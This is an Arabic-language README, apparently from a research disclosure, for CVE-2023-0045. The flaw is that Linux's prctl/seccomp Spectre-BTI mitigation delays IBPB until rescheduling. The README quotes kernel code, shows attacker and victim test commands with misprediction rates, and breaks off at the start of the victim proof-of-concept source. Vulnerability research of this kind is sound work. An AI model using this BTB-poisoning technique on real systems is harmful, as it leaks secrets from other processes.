askyeye/cve-2023-0045إثبات المفهوم (PoC) وتقرير تفصيلي لثغرة CVE-2023-0045: تتجاوز إجراءات التخفيف من هجمات Spectre-BTI في Linux (prctl/seccomp) باستخدام تسميم BTB وتقنية Flush+Reload لتسريب أسرار العملية.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
عند اختبار معدل نجاح هجمات Spectre-BTI، اكتشفنا نمطًا غريبًا عند استخدام واجهة برمجة تطبيقات النواة كتخفيف[^1]. أظهرت اختباراتنا أن نواة Linux تفشل في تخفيف الهجوم بشكل صحيح، مما يترك العملية مكشوفة لفترة قصيرة بعد استدعاء النظام.
أظهر المزيد من التحقيق أن النواة لا تصدر IBPB فورًا أثناء استدعاء النظام. تقوم دالة ib_prctl_set[^2] بتحديث أعلام معلومات الخيط (TIFs) للمهمة وتحديث MSR SPEC_CTRL في الدالة __speculation_ctrl_update [^3]، ولكن يتم إصدار IBPB فقط في الجدولة التالية، عند التحقق من بتات TIF. وهذا يترك الضحية عرضة للقيم التي تم حقنها بالفعل في BTB، قبل استدعاء prctl. يتم تصحيح السلوك فقط بعد إعادة جدولة المهمة. علاوة على ذلك، فإن دخول النواة (بسبب استدعاء النظام نفسه) لا يصدر IBPB في السيناريوهات الافتراضية (أي عندما تحمي النواة نفسها عبر retpoline أو eIBRS).
تنفيذ prctl لتخفيف هجمات spectre-BTI باستخدام:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
يؤدي إلى دالة ib_prctl_set[^2] في النواة 5.15. عند استخدام الخيار SPEC_DISABLE يتم تعيين بت TIF لـ task_set_spec_ib_disable ويتم استدعاء task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
تقوم task_set_spec_ib_disable باستدعاء set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); وإذا كانت المهمة المستهدفة هي الحالية فإنها تستدعي speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
بعد غلاف speculation_ctrl_update، تنفذ speculation_ctrl_update_current الدالة __speculation_ctrl_update مع tifp = ~tifp، هنا يتم تنفيذ تحديث wrmsr لتعيين STIBP ولكن لا يتم إصدار IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
يستخدم استدعاء النظام seccomp أيضًا ib_prctl_set[^2] كتخفيف، داخل arch_seccomp_spec_mitigate[^4] لذا يُتوقع نفس النتيجة مع seccomp.
بينما نحن متأكدون من خلال تحليل الكود أن نافذة الاستغلال موجودة، كان من غير الواضح ما إذا كانت كبيرة بما يكفي لتحميل الضحية للأسرار والمهاجم لتسريبها (نظرًا لأنه من المتوقع أن الأسرار ليست في مساحة عنوان الضحية حتى يتم إصدار استدعاء prctl). تم تنفيذ الاختبارات على جهاز فعلي مع دعم لتخفيفات الأجهزة، مع تثبيت ubuntu 22.04.1 LTS:
النواة هي Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
المعالج هو Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* دعم الأجهزة (ميكروكود المعالج) لتقنيات التخفيف
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR متاح: نعم
* يشير المعالج إلى قدرة IBRS: نعم (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* يشير المعالج إلى قدرة IBPB: نعم (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR متاح: نعم
* يشير المعالج إلى قدرة STIBP: نعم (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
يتكون كود الاختبار من عمليتين تنفيذيتين على نفس النواة المنطقية. يقوم المهاجم باستمرار بتسميم BTB بعنوان أداة spectre الموجودة في عملية الضحية. تقوم عملية الضحية بقياس معدل سوء التنبؤ عن طريق التحقق مما إذا كان متغير اختبار قد تم الوصول إليه بواسطة دالة أداة spectre. يعود هذا عادةً بالمخرجات التالية:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
ثم يتم استخدام PRCTL لتخفيف الهجوم. يمكن تمكين التخفيف عن طريق إضافة prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); في بداية البرنامج. من المتوقع أن يخفف هذا هجوم spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
ومع ذلك، أظهرت بعض الاختبارات نتيجة مختلفة:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
ويبدو أن تغيير 'nice' (الأولوية) يؤثر على معدل سوء التنبؤ:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
يشير هذا إلى أن prctl قام بحماية العملية فقط بعد الجدولة التالية، كما هو مفهوم من تحليل الكود. سلوك غريب آخر لهذا الاختبار هو أنه بعد فرع غير صحيح، يجب تصحيح مسار التخمين ويجب كتابة القيمة الحقيقية على BTB. نظرًا لعدم وجود مهاجمين آخرين على الخيط الشقيق لإعادة تسميم BTB، فإن قيم سوء التنبؤ العالية هذه غير متوقعة.
للتأكد من أن هذا لم يكن خطأ في القياس، قمنا بإنشاء POC بسيط. ينفذ كود الضحية دائمًا safe_function من خلال مؤشر دالة يكون عرضة لهجوم spectre-BTI. تطلب الضحية من النواة الحماية باستخدام استدعاء النظام prctl (داخل protect_me). تقوم الضحية أيضًا بتحميل سر من ملف نصي، مما يظهر أن استدعاءات النظام الأخرى لا تتحقق من بت TIF ولا تثير إعادة جدولة قد تفرض IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);